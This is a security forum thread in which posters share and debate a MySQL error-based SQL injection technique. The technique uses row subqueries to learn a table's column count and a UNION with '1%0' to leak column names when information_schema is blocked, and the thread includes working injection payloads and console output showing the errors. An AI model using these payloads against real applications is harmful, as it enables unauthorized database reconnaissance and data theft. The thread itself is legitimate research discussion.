Hi,

I've recently found an interesting way of retrieving column's name from other tables than the one used in the query when information_schema table is not accessible. It assume you've already found some table's name.
It is using the 1%0 trick and MySQL subqueries.

Maybe you all know about that but I would like to share it!

I was playing around with sql subqueries when I've found something very interesting: "Row Subqueries"

You'd better read this in order to understand what's next:
http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html

The hint is "The row constructor and the row returned by the subquery must contain the same number of values."

Ok, imagine you have the table USER_TABLE. You don't have any other informations than the table's name.
The sql query is expecting only one row as result.

Here is our input:
' AND (SELECT * FROM USER_TABLE) = (1);

MySQL answer:
"Operand should contain 7 column(s)"

MySQL told us that the table USER_TABLE has 7 columns! That's great!

Now we can use the UNION and 1%0 to retrieve some column's name:

The following query shouldn't give you any error:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1);

Now let's try with the first colum, simply add %0 to the first column in the UNION:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1);

MySQL answer:
"Column 'usr_u_id' cannot be null"

We've got the first column name: "usr_u_id"

Then we proceed with the other columns...

Example with the 4th column:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1);


If MySQL doesn't reply with an error message, this is just because the column can be empty and you won't be able to get it's name!

Paic

thanks

hi paic, thanks for sharing this. cool stuff =) I wrote a quick blogpost about your find here.

Already knew and wrote about the mysql sub-querying in 2006:

Error based guessing of number of columns.

1 AND(SELECT * FROM table2 ) = 1 
SELECT * FROM table where id = 1 AND(SELECT * FROM table2 ) = 1 

This outputs: "Operand should contain N column(s)" 
where N is the number of columns in table 2

An it isn't modulo per say, it's simply interpreted as a passed NULL, known too.



Edited 1 time(s). Last edit at 11/27/2009 11:36AM by rvdh.

the new and cool part Paic found is another way to retrieve all column names ... not their amount. you can find it by trial and error in each scenario anyway.

yes it is passed as NULL, but no other operation than modulo triggers this error message. or at least I couldn't find any other yet.



Edited 1 time(s). Last edit at 11/27/2009 11:47AM by Reiners.

>... not their amount.

No, you should read:

>MySQL answer:
>"Operand should contain 7 column(s)"
>MySQL told us that the table USER_TABLE has 7 columns! That's great!

So that is exactly the same.

>but no other operation than modulo triggers this error message.

MySQL ONLY echoes back the table/row name when the table and it's row is configured not to accept NULL e.g. NOT NULL. If you pass simply NULL it will work too on such table.

Devil is in the details (-;

> If you pass simply NULL it will work too on such table.

no.

if you pass
SELECT id,name FROM users WHERE id = null
there is no error. if you pass
SELECT id,name FROM users WHERE id = 1/0
there is no error. (while isnull(1/0) = true)

only the modulo operator triggers the error message:
SELECT id,name FROM users WHERE id = '1'%'0'
Column 'id' cannot be null

> Devil is in the details (-;

absolutly ;)

It should NEVER return it, like I said: it depends on your MySQL & table/column settings. Because: NULL i.e. Zero rows. Moreover, in a UNION it most likely will fail if you haven't provided the correct amount of columns. Try it out on a different table or version, it will not work.

>Column 'id' cannot be null

Here it already explains why this happens. It CANNOT be NULL. Just because it works on your table and on your version, doesn't mean it works everywhere, the reverse is also true for passing a NULL instead of a modulo calculation that ALSO passes NULL.

Right, Sorry I got a few beers. What I meant was NUL (not NULL) Because it's different. Go and test it, I haven't got the time, but it SHOULD output the same.

hm maybe this makes some things more clearly. you are right that it has to do with the table (and version, since its not working on MySQL 5.1 anymore) so it does not work everywhere. but thats what we both said before. so here is an example how you can reproduce it:

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.0.27-community-nt-log |
+-------------------------+
1 row in set (0.00 sec)

/// also testet with

mysql> select @@version;
+----------------+
| @@VERSION      |
+----------------+
| 4.1.12a-nt-log |
+----------------+
1 row in set (0.00 sec)

/// seems fixed in MySQL 5.1 as stated in the blogpost

mysql> CREATE TABLE `test` (
    ->   `id` int(1) NOT NULL auto_increment,
    ->   `name` varchar(255) default NULL,
    ->   `password` varchar(255) default NULL,
    ->   PRIMARY KEY  (`id`)
    -> ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
Query OK, 0 rows affected (0.03 sec)

mysql> select * from test;
Empty set (0.00 sec)

mysql> select * from test where id = '1'%'0';
Empty set (0.00 sec)


mysql> insert into test values('', 'Reiners', 'Reinerspw');
Query OK, 1 row affected, 1 warning (0.00 sec)

/// OR

mysql> insert into test set name = 'Reiners', password = 'Reinerspw';
Query OK, 1 row affected (0.00 sec)


mysql> select * from test where id = '1'%'0';
Empty set (0.00 sec)

mysql> select * from test;
+----+---------+-----------+
| id | name    | password  |
+----+---------+-----------+
|  1 | Reiners | Reinerspw |
+----+---------+-----------+
1 row in set (0.00 sec)


mysql> insert into test values('', 'rvdh', 'rvdhpw');
Query OK, 1 row affected, 1 warning (0.00 sec)

/// OR

mysql> insert into test set name = 'rvdh', password = 'rvdhpw';
Query OK, 1 row affected (0.00 sec)


mysql> select * from test;
+----+---------+-----------+
| id | name    | password  |
+----+---------+-----------+
|  1 | Reiners | Reinerspw |
|  2 | rvdh    | rvdhpw    |
+----+---------+-----------+
2 rows in set (0.00 sec)

mysql> select * from test where id = '1'%'0';
ERROR 1048 (23000): Column 'id' cannot be null

mysql> select * from test where id = null;
Empty set (0.00 sec)

mysql> select * from test where id = \N;
Empty set (0.01 sec)

mysql> select * from test where id = 1/0;
Empty set (0.00 sec)

mysql> select * from test where id = '';
Empty set (0.00 sec)

as you can see it does only work with the modulo operator so its not producing the same with other "NULL"s. dont ask me why ;) but thats the "trick" we talk about. and yes, again, it depends on the table. I need to test more on it later ... I'm not sure yet if the auto_increment is neccessary and why I need at least 2 entries. or do you see at first glance anything I missed? anyway, as Paic showed I'm not the only one with a crippled table, so it may help if you are a lucky attacker/pentester and if you cant access information_schema and procedure analyse() doesn't work for you.

now I go for some beers ;) cheers.



Edited 1 time(s). Last edit at 11/27/2009 01:42PM by Reiners.

Well just tested it, and NUL works as I thought. Because NUL (not NULL) is a Null-byte. NULL is the reserved keyword, so only NUL works, which makes a lot of sense since the mathematical operation you perform results in NULL. The NUL is the real Null-byte here, kinda confusing maybe but it's true.

Have a good one, hehe sober again.

Maybe of interest:

http://dev.mysql.com/sources/doxygen/mysql-5.1/strings-not-used_8h.html

Sorry for the late post, had too much on my hands. Curiously enough I can't reproduce the error on the NUL anymore. I had it running in a PhpMyAdmin on a test box, where NUL (instead of NULL) was interpreted exactly as the modulo calculation e.g. resulting in the same error. I modified some columns afterwards but couldn't get the same result anymore. Have to look at it on some rainy afternoon. My hunch is that it also depends on the column layout/settings since I fiddled with the theory of NULL/NOT NULL and collations and such. Anyway, not really useful in the end.

hi I need a code to that can validate a user.
that is a code that can check for the username and password of a user